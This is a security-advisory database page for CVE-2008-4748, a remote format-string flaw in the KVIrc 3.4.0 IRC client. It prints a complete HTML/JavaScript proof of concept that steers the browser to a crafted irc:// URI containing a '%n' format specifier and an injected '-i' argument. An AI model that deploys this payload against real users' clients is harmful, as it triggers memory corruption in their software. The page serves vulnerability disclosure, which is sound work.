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Home arrow SecurityAlert Database

Arrow  Topic :

KVIrc 3.4.0 Virgo Remote Format String Exploit PoC


Arrow  SecurityAlert : 4508
Arrow  CVE : CVE-2008-4748
Arrow  CWE : CWE-20
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : Yes
Arrow  Exploit Available : Yes
  ExploitAlert :   4989
Arrow  Credit : Gjoko 'LiquidWorm' Krstic
Arrow  Published : 29.10.2008

Arrow  Affected Software : kvirc:kvirc:3.4.0



Arrow  Advisory Content :  

<!--

KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI
toolkit.
KVirc is being written by Szymon Stefanek and the KVIrc Development Team
with
the contribution of many IRC addicted developers around the world.

Product web page: http://www.kvirc.net/

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [d0t] com

http://www.zeroscience.org

24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby
LiquidWorm (c) 2008");

function poc()
{
window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip
exploitation");

if (answ == true)
{
poc();
}

else
{
window.location.href = "http://www.kvirc.net";
}

</script> </body> </head> </html>



Arrow  References :

http://securityreason.com/expldownload/1/4989/1 (Exploit)
http://www.securityfocus.com/bid/31912
http://www.milw0rm.com/exploits/6832
http://secunia.com/advisories/32410




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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